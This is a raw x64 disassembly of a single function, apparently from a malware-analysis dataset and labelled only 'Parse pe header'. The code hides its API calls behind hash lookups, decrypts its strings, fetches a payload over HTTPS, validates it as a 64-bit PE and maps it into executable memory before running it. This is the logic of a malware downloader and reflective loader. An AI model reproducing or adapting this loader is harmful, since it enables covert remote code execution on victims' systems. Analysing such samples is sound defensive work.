Function at 0x140001690
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
xor ebx, ebx
mov dword [rbp - 0x78], ebx
mov dword [rbp + 0xb0], ebx
mov rax, qword gs:[0x30]
mov qword [rbp + 0x50], rax
test rax, rax
je 0x14000227b
mov dword [rbp + 0x148], 4
mov rcx, qword [rax + 0x60]
mov qword [rbp + 0x58], rcx
test rcx, rcx
je 0x14000227b
mov dword [rbp - 8], 4
mov rax, qword [rcx + 0x18]
mov qword [rbp + 0xb8], rax
test rax, rax
je 0x14000227b
lea rdx, [rax + 0x20]
mov qword [rbp + 0x88], rdx
test rdx, rdx
je 0x14000227b
mov rdx, qword [rdx]
lea r8d, [rbx + 0x11]
mov ecx, 0xd58ee9d0
mov rdx, qword [rdx + 0x50]
call section..text
mov edx, 0xf143a9fd
mov dword [rbp + 0x150], eax
mov r8d, 0x166ba965
lea rcx, [rsp + 0x40]
call fcn.140001040
mov qword [rbp - 0x68], rax
test rax, rax
je 0x14000227b
mov edx, 0xf35b9711
mov r8d, 0x91a74365
mov rcx, rax
call fcn.1400010d0
mov qword [rbp + 0x80], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x68]
mov edx, 0xe693931e
mov r8d, 0x814f889b
call fcn.1400010d0
mov qword [rbp + 0x160], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x68]
mov edx, 0xf0b8c5ad
mov r8d, 0x63663cf6
call fcn.1400010d0
mov qword [rbp + 0xf0], rax
test rax, rax
je 0x14000228b
mov rcx, qword [rbp - 0x68]
mov edx, 0xd26740f2
mov r8d, 0xd9963c12
call fcn.1400010d0
mov qword [rbp + 0x68], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x68]
mov edx, 0xce84c91d
mov r8d, 0x90b82369
call fcn.1400010d0
mov qword [rbp - 0x48], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x68]
mov edx, 0x9bba7db4
mov r8d, 0xbe6dfa52
call fcn.1400010d0
mov qword [rbp - 0x10], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x68]
mov edx, 0x6d925e70
mov r8d, 0xe0f2d04f
call fcn.1400010d0
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14000227b
mov rax, qword [rbp + 0x88]
lea r8d, [rbx + 0x11]
mov ecx, 0x7b18cb2c
mov rdx, qword [rax]
mov rdx, qword [rdx + 0x50]
call section..text
or eax, 1
lea r8d, [rbx + 0x11]
mov dword [rbp + 0xa8], eax
mov ecx, 0xb900ccf8
mov rax, qword [rbp + 0x88]
mov rdx, qword [rax]
mov rdx, qword [rdx + 0x50]
call section..text
mov rcx, qword [rbp - 0x68]
mov edx, 0x1a1e8a20
mov r8d, 0x37d6f575
mov dword [rbp + 0x10], eax
call fcn.1400010d0
mov qword [rbp + 0x108], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x68]
mov edx, 0x51733846
mov r8d, 0xb9f50dc
call fcn.1400010d0
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x68]
mov edx, 0xf637f64f
mov r8d, 0x1d00dbd9
call fcn.1400010d0
mov qword [rbp + 0x98], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x68]
mov edx, 0x176518cc
mov r8d, 0x802553d5
call fcn.1400010d0
mov qword [rbp + 0x118], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x68]
mov edx, 0x23bc440a
mov r8d, 0x315e9563
call fcn.1400010d0
mov qword [rbp + 0x178], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x68]
mov edx, 0xcbbe0fe1
mov r8d, 0x1ae035d6
call fcn.1400010d0
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14000227b
mov edx, 0xb55c7f77
mov dword [rsp + 0x20], 0x8678ca03
mov r9d, 0x6a620e0b
lea rcx, [rsp + 0x40]
mov r8d, 0x7649326b
call fcn.140001490
lea rcx, [rsp + 0x40]
call fcn.140001650
test eax, eax
je 0x14000227b
lea rcx, [rbp + 0x20]
call qword [rbp + pe_nt_image_headers64]
mov qword [rbp + 0x180], rax
test rax, rax
je 0x14000227b
mov edx, 0x2080286d
mov dword [rsp + 0x20], 0xb7f771a6
mov r9d, 0xfb6f255e
lea rcx, [rsp + 0x40]
mov r8d, 0x6dbd5857
call fcn.140001490
lea rcx, [rbp + 0x20]
call qword [rbp + pe_nt_image_headers64]
mov qword [rbp + 0x30], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x68]
mov edx, 0x47bb9cd6
mov r8d, 0xaeae89d9
call fcn.1400010d0
mov qword [rbp + 0x128], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x68]
mov edx, 0xfc19f7f
mov r8d, 0x6ba7af02
call fcn.1400010d0
mov qword [rsp + 0x68], rax
test rax, rax
je 0x14000227b
mov edx, 0x129ad90b
mov dword [rsp + 0x20], 0x3af77806
mov r9d, 0xc153fabc
lea rcx, [rsp + 0x40]
mov r8d, 0x9fe24806
call fcn.140001490
lea rcx, [rbp + 0x20]
call qword [rbp + pe_nt_image_headers64]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14000227b
mov edx, 0x4f86582c
mov dword [rsp + 0x20], 0x355f86eb
mov r9d, 0xac0e8342
lea rcx, [rsp + 0x40]
mov r8d, 0x828e3d82
call fcn.140001490
lea rcx, [rbp + 0x20]
call qword [rbp + pe_nt_image_headers64]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rsp + 0x40]
mov edx, 0xee07ab92
mov r8d, 0x18c08976
call fcn.1400010d0
mov qword [rsp + 0x48], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp + 0x180]
mov edx, 0x73592156
mov r8d, 0x89e86f3e
call fcn.1400010d0
mov qword [rbp + 0x158], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x50]
mov edx, 0x80602f31
mov r8d, 0x187458bc
call fcn.1400010d0
mov qword [rbp + 0x170], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x50]
mov edx, 0x81e95cb0
mov r8d, 0xfa9cfa00
call fcn.1400010d0
mov qword [rbp + 0x38], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x50]
mov edx, 0xb315594a
mov r8d, 0x1b76b018
call fcn.1400010d0
mov qword [rbp + 0xe8], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x50]
mov edx, 0x654f9d04
mov r8d, 0x67482298
call fcn.1400010d0
mov qword [rbp + 0x130], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x50]
mov edx, 0xc50d0a3c
mov r8d, 0xf3cee606
call fcn.1400010d0
mov qword [rbp - 0x80], rax
test rax, rax
je 0x14000227b
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea edx, [rbx + 1]
xor ecx, ecx
call qword [rbp + 0x38]
mov qword [rbp + 0x110], rax
test rax, rax
je 0x14000227b
mov edx, 0x1e9e4c8b
mov dword [rsp + 0x20], 0xd7f8f97a
mov r9d, 0xe03dc25c
lea rcx, [rsp + 0x40]
mov r8d, 0x87ff4f78
call fcn.140001490
mov rcx, qword [rbp + 0x110]
lea rdx, [rbp + 0x20]
mov qword [rsp + 0x38], rbx
mov r8d, 0x1bb
mov dword [rsp + 0x30], ebx
xor r9d, r9d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rbx
call qword [rbp + 0x130]
mov qword [rbp + 0xe0], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp + 0x30]
mov edx, 0xd8196f78
mov r8d, 0xdc9c8e5c
call fcn.1400010d0
mov qword [rbp + 0x48], rax
test rax, rax
je 0x14000227b
mov rcx, qword [rbp - 0x50]
mov edx, 0x2a29c23b
mov r8d, 0x46e6239e
call fcn.1400010d0
mov qword [rbp + 0x40], rax
test rax, rax
je 0x14000227b
lea edx, [rbx + 0x27]
xor ecx, ecx
lea r9d, [rbx + 4]
mov r8d, 0x3000
call qword [rbp + 0x160]
mov qword [rbp + 0x138], rax
test rax, rax
je 0x14000227b
mov qword [rsp + 0x4b0], rsi
lea rcx, [rsp + 0x40]
mov edx, 0xdf09ddd0
mov qword [rsp + 0x4b8], rdi
mov r9d, 0xa0156d7
mov dword [rsp + 0x20], 0x973eb38
mov r8d, 0xfbc4bca2
call fcn.140001490
mov rdi, qword [rbp + 0x138]
lea rsi, [rbp + 0x20]
mov ecx, 0x10
lea edx, [rbx + 0x13]
rep movsb byte [rdi], byte [rsi]
xor ecx, ecx
lea r9d, [rbx + 4]
mov r8d, 0x3000
call qword [rbp + 0x160]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14000226b
mov edx, 0x9bf07749
mov dword [rsp + 0x20], 0xd2345155
mov r9d, 0xdecb8014
lea rcx, [rsp + 0x40]
mov r8d, 0x748bfa3a
call fcn.140001490
mov rdi, qword [rbp + 0x138]
lea rsi, [rbp + 0x20]
add rdi, 0x10
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
xor ecx, ecx
call qword [rbp + 0x48]
mov dword [rbp + 0xa0], eax
test eax, eax
js 0x14000226b
mov edx, 0xb394d4ed
mov dword [rsp + 0x20], 0x960fcb26
mov r9d, 0xbf8035cc
lea rcx, [rsp + 0x40]
mov r8d, 0xbea5250
call fcn.140001490
mov rdi, qword [rbp + 0x138]
lea rsi, [rbp + 0x20]
add rdi, 0x20
mov dword [rsp + 0x20], 0x37867e
mov ecx, 0x10
mov edx, 0x6f126e4
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
mov r9d, 0x375d0937
mov r8d, 0xd6eefc38
call fcn.140001490
mov rdi, qword [rsp + 0x60]
lea rsi, [rbp + 0x20]
add rdi, 0x10
lea rdx, [rbp + 0x190]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov ecx, 0x104
call qword [rsp + 0x68]
test eax, eax
je 0x14000226b
lea rcx, [rbp + 0x190]
call qword [rbp + 0x68]
test eax, eax
je 0x14000226b
lea edx, [rbx + 0x20]
xor ecx, ecx
lea r9d, [rbx + 4]
mov r8d, 0x3000
call qword [rbp + 0x160]
mov qword [rbp + 0xc8], rax
test rax, rax
je 0x14000226b
mov edx, 0xab5e6bea
mov dword [rsp + 0x20], 0x4e6485c1
mov r9d, 0x45b8f03
lea rcx, [rsp + 0x40]
mov r8d, 0xde4cd973
call fcn.140001490
mov rdi, qword [rbp + 0xc8]
lea rsi, [rbp + 0x20]
add rdi, 0x10
mov dword [rsp + 0x20], 0xc13635fc
mov ecx, 0x10
mov edx, 0x1dbd74eb
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
mov r9d, 0x13628438
mov r8d, 0x50024b4b
call fcn.140001490
mov rdi, qword [rbp + 0xc8]
lea rsi, [rbp + 0x20]
mov ecx, 0x10
mov edx, 0xcde5c1aa
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rbp - 0x50]
mov r8d, 0x33884afe
call fcn.1400010d0
mov qword [rbp - 0x60], rax
test rax, rax
je 0x14000226b
mov edx, 0xc6c23c5d
mov dword [rsp + 0x20], 0x8cd426e3
mov r9d, 0xaa0ef05c
lea rcx, [rsp + 0x40]
mov r8d, 0xe41729e1
call fcn.140001490
mov rdi, qword [rsp + 0x60]
lea rsi, [rbp + 0x20]
mov ecx, 0x10
mov dword [rsp + 0x20], 0x1bd0beaf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
mov edx, 0xaf88425e
mov r9d, 0x97be3350
mov r8d, 0x92567c16
call fcn.140001490
mov rcx, qword [rbp + 0xe0]
lea r8, [rbp + 0x24]
mov qword [rsp + 0x38], rbx
lea rdx, [rbp + 0x20]
mov dword [rsp + 0x30], 0x80800000
xor r9d, r9d
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [rbp - 0x80]
mov qword [rbp + 0xd0], rax
test rax, rax
je 0x14000226b
lea rcx, [rsp + 0x40]
call fcn.140001530
mov rax, qword [rbp - 0x28]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14000226b
mov rcx, qword [rbp + 0xd0]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], ebx
xor edx, edx
call qword [rbp - 0x60]
test eax, eax
je 0x14000226b
mov rcx, qword [rbp + 0xd0]
lea rax, [rbp + 0xb0]
lea r9, [rbp - 8]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x30]
mov edx, 0x20000005
call qword [rbp + 0xe8]
test eax, eax
je 0x14000226b
mov edx, dword [rbp - 0x30]
lea r9d, [rbx + 4]
xor ecx, ecx
mov r8d, 0x3000
call qword [rbp + 0x160]
mov qword [rbp], rax
test rax, rax
je 0x14000226b
mov r8d, dword [rbp - 0x30]
lea r9, [rsp + 0x78]
mov rcx, qword [rbp + 0xd0]
mov rdx, rax
call qword [rbp + 0x170]
test eax, eax
je 0x14000226b
mov eax, dword [rbp - 0x30]
cmp dword [rsp + 0x78], eax
jne 0x14000226b
mov rcx, qword [rbp + 0xd0]
call qword [rbp + 0x40]
mov rcx, qword [rbp + 0xe0]
call qword [rbp + 0x40]
mov edx, 0xbe9fdece
mov dword [rsp + 0x20], 0xb0f32a67
mov r9d, 0x9ea4eb53
lea rcx, [rsp + 0x40]
mov r8d, 0x4c7c73b7
call fcn.140001490
mov rcx, qword [rbp + 0x110]
lea rdx, [rbp + 0x20]
mov qword [rsp + 0x38], rbx
mov r8d, 0x1bb
mov dword [rsp + 0x30], ebx
xor r9d, r9d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rbx
call qword [rbp + 0x130]
mov qword [rbp - 0x20], rax
test rax, rax
je 0x14000226b
mov r8d, dword [rbp - 0x30]
lea r9, [rbp + 0xf8]
mov rdx, qword [rbp]
mov rcx, qword [rbp - 0x28]
mov qword [rsp + 0x20], rbx
call qword [rbp - 0x40]
test eax, eax
je 0x14000226b
mov rcx, qword [rbp - 0x28]
call qword [rbp + 0x178]
mov edx, 0xf954b99c
mov dword [rsp + 0x20], 0x8d64d229
mov r9d, 0xf316edf8
lea rcx, [rsp + 0x40]
mov r8d, 0x169c34e8
call fcn.140001490
mov rcx, qword [rbp - 0x20]
lea r8, [rbp + 0x24]
mov qword [rsp + 0x38], rbx
lea rdx, [rbp + 0x20]
mov dword [rsp + 0x30], 0x80800000
xor r9d, r9d
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [rbp - 0x80]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x14000226b
mov rdx, qword [rbp + 0xc8]
lea r8d, [rbx + 1]
xor ecx, ecx
call qword [rsp + 0x48]
mov dword [rbp + 0x90], eax
test eax, eax
js 0x14000226b
mov r8, qword [rsp + 0x60]
mov r9d, 0x1040
mov rdx, qword [rbp + 0x138]
xor ecx, ecx
call qword [rbp + 0x158]
mov rcx, qword [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], ebx
xor edx, edx
call qword [rbp - 0x60]
test eax, eax
je 0x14000226b
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x78]
lea r9, [rbp + 0x148]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x58]
mov edx, 0x20000005
call qword [rbp + 0xe8]
test eax, eax
je 0x14000226b
mov edx, dword [rbp - 0x58]
lea r9d, [rbx + 4]
xor ecx, ecx
mov r8d, 0x3000
call qword [rbp + 0x160]
mov qword [rbp + 0x18], rax
test rax, rax
je 0x14000226b
mov r8d, dword [rbp - 0x58]
lea r9, [rbp - 0x18]
mov rcx, qword [rsp + 0x70]
mov rdx, rax
call qword [rbp + 0x170]
test eax, eax
je 0x14000226b
mov eax, dword [rbp - 0x58]
cmp dword [rbp - 0x18], eax
jne 0x14000226b
mov rax, qword [rbp + 0x18]
mov ecx, 0x5a4d
mov qword [rbp + 0x140], rax
cmp word [rax], cx
jne 0x14000226b
mov rcx, qword [rsp + 0x70]
call qword [rbp + 0x40]
mov rcx, qword [rbp - 0x20]
call qword [rbp + 0x40]
mov rax, qword [rbp + 0x140]
movsxd rdx, dword [rax + 0x3c]
add rdx, qword [rbp + 0x18]
mov qword [rbp + 0x100], rdx
cmp dword [rdx], 0x4550
jne 0x14000226b
mov eax, 0x8664
cmp word [rdx + 4], ax
jne 0x14000226b
mov eax, 0x20b
cmp word [rdx + 0x18], ax
jne 0x14000226b
mov edx, dword [rdx + 0x50]
lea r9d, [rbx + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [rbp + 0x160]
mov qword [rbp + 0xc0], rax
test rax, rax
je 0x14000226b
mov rcx, qword [rbp + 0x110]
call qword [rbp + 0x40]
mov rdx, qword [rbp + 0x100]
mov rdi, qword [rbp + 0xc0]
mov rsi, qword [rbp + 0x18]
movzx eax, word [rdx + 0x14]
lea rcx, [rdx + 0x18]
add rcx, rax
mov qword [rbp + 0x78], rcx
mov ecx, dword [rdx + 0x54]
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
call fcn.140001200
lea rcx, [rsp + 0x40]
call fcn.140001280
lea rcx, [rsp + 0x40]
call fcn.140001370
lea rcx, [rsp + 0x40]
call fcn.140001420
mov rsi, qword [rsp + 0x4b0]
mov rdi, qword [rsp + 0x4b8]
mov rax, qword [rbp + 0xf0]
test rax, rax
je 0x14000228b
xor ecx, ecx
call rax
mov rbx, qword [rsp + 0x4c0]
xor eax, eax
add rsp, 0x4a0
pop rbp
ret